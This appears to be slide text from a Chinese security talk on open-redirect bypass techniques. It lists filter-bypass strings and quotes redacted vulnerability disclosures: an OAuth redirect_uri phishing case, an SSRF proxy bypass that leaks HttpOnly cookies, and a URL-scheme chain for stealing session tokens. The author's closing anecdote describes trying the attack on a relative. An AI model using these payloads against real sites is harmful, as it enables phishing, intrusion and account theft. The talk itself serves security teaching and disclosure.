

The background is a dark blue gradient. In the top-left, top-right, and bottom-left corners, there are white geometric shapes made of triangles and polygons, creating a modern, abstract design. A white rounded rectangle is centered on the page, containing the title text. Two white triangles point towards the rectangle from the left and right sides.

URL跳转奇葩姿势详解

JutaZ



目录 CONTENT

1

关于我

2

URL的标准形式

3

绕过及FUZZ

4

其他跳转方式

5

衍生危害



1

关于我

一个新手

scheme://user:password@domain:port/path?query_string#fragments

- ① 方案名
- ② 验证信息
- ③ 主机名
- ④ 端口号
- ⑤ 路径
- ⑥ 查询字符串
- ⑦ 片段字符串

实现 test.a.com 跳转到 b.com
限制：仅允许跳转至*.a.com

- a.com:80@b.com
- b.com?a.com
- b.com#a.com

- a.com.b.com
- a.comb.com
- b.coma.com

绕过及FUZZ

a. 个性化字典

URLENCODE
字符绕过字典
其他可信域名
等等

b. 其他尝试

CRLF漏洞
反射xss
其他猥琐姿势

乌云案例一

代码逻辑缺陷

详细说明:

问题URL: `http://[redacted]/ce.[redacted].org`

`http://[redacted].com=>http://[redacted].com/home`

也就是说直接打开 `http://[redacted].com`, 网站会跳转到/home页面, 但HOST值是从最后一个//后取的而不是第一个//

所以只要在 `http://[redacted].com` 后面加上//然后再加任意站点都可以跳转, 当然正常打开的前提是跳转的站点要有/home这个页面

漏洞证明:

```
HTTP/1.1 302 Found
Connection: Keep-Alive
Content-Length: 0
Date: Wed, 23 Sep 2015 12:26:48 GMT
Location: http://ce.[redacted].org/home
Server: Apache-Coyote/1.1
Set-Cookie: ses_cache_cas__st__=7dd8da7a-3c64-401a-84f0-5585ad701be5; Domain=ssp.[redacted].com; Path=/
X-Cf-Requestid: 58bb2a7a-3e68-4626-707e-45c5abc81a37
X-Prism-Spanid: 0
X-Prism-Uid: 20150923_36ED68C4-EBFD-4541-93CB-8C1DEA8D02C5
Content-Type: text/plain; charset=utf-8
```

乌云案例二

第三方插件缺陷

■ 简要描述:

某功能设计不当导致URL跳转（已被攻击者利用，恶意信息活跃于各大社交平台）

■ 详细说明:

某功能设计不当导致URL跳转（已被攻击者利用，恶意信息活跃于各大社交平台）

```
http://paypassport. .com/ids/oauth20/authorize?client_id=suning_01&response_type=code&redirect_uri=http://nWQxM. .cn&www.qq.com
```

近日， 等网络虚拟社交平台因 官方网站URL跳转导致各种恶意信息活跃流传。

攻击者利用接口http://paypassport. .com/ids/oauth20/authorize中的redirect_uri跳转漏洞，跳转到伪造 的网站，同时对账号密码进行验证与记录（成功登录会跳转至本人 ，错误提示重试。）

攻击者伪造网址：http://nWQxM. .cn

这个漏洞其实要追踪到2014年05月左右爆出的OAuth2 Covert Redirect漏洞。安全研究人员发现授权协议OAuth2.0存在Covert Redirect漏洞，可能导致用户信息遭窃取。经分析，此问题原因在于第三方应用的redirect_uri存在跳转漏洞。目前有些网站采用快捷登录或者以其他方式开放了自己网站的相关API接口，基本鉴权方式都是采用了目前国际主流的OAuth2.0方式。但是很多开发者并没有意识到redirect_uri过滤的重要性。

乌云案例三

隐藏极深的跳转

详细说明：

http://spl.████████.com.cn/dan.php?c=IZ0-5HDYnW0snWRzPWT0IgF_5y9YIZ0lQzqYQhP8QdFnTy9kiYY0 这段代码掩藏了什么呢？巧遇贴吧



衍生危害一

跳转时传递了cookie等数据 BY:呆子不开口

■ 简要描述:

■■■上你点我的链接，我就可xss你，并可拿到httponly的cookie，以及些其他方面的危害

■ 详细说明:

见如下请求，实现了一个代理访问url的功能

`http://■■■.com/p/aj/proxy?api=http%3A%2F%2Fcontentrecommend.mobile.■■■.cn`

这个请求做了些url白名单的校验

但有如下问题:

一、存在绕过漏洞，导致ssrf漏洞，可以访问内网

这个代理功能存在url绕过漏洞，api参数使用下面格式的值可以绕过

`http://contentrecommend.mobile.■■■.cn@123.■■■.3/wb.php`

攻击poc见: `http://■■■.com/p/aj/proxy?api=http%3A%2F%2Fcontentrecommend.mobile.■■■.cn%40123.■■■.3%2F■■■.php`

服务端程序会去请求`http://123.■■■.3/■■■.php`

这样就可以ssrf访问内网了

二、xss

如果我们代理访问的是我们控制的页面，我们的页面可以输出一个存储xss了

三、httponly cookie

程序在代理访问我们的页面时，会把当前用户的cookie也带给我们。我的服务端php程序，通过`$_SERVER['HTTP_COOKIE']`就可以取到

衍生危害二

客户端伪协议 BY:呆子不开口

我就在想，程序员会不会在这个应用相关操作里面使用了appkey作为参数
我扶了扶镜框，发现了一个，在取消授权功能那里直接传了appkey
然后不出所料，果然也是特权的appkey，可以拿到用户的gsid
这样就很完美了，基本通杀所有的用户了，只要在私信或评论里给他发个攻击链接就可以了
我又想一想，攻击面可不可以再扩大点呢，比如当这个人没有在用■■■■■时，我在别的地方给他发个链接让他中招有没有可能呢，比如在■■■■■里打开这个链接
那我就猜，我在■■■■■里点链接可不可以加载■■■■■客户端去自动打开我们的poc链接呢
找了下，■■■■■是支持url scheme的，类似于s■■■■■o://
简单的反编译了下■■■■■客户端，进入搜了下browser，果然有这样的url
s■■■■■o://browser/
我抱着试一试的心态访问了下这个，s■■■■■o://browser/?url=http://www.■■■■■.com
跟前面一样顺利，成功了
所以在■■■■■里发一个链接，比如http://sdadsadasdasd.com/302.php。这个请求会302跳转到s■■■■■o://browser/?url=http://www.sh■■■■■curl.com
这种方式在我的版本的■■■■■内嵌浏览器是支持的，如果不支持，可以试试欺骗用户去点击这样的链接，s■■■■■o://browser/?url=http://www.shang■■■■■curl.com
当然不止是■■■■■里面，其他浏览器，或者其他应用的内嵌浏览器，很多也是支持这样的伪协议打开的。攻击面可以更广
到这里就差不多了，发给表妹，她中招了
但她在得知我并不知道她密码后，她还是改了密码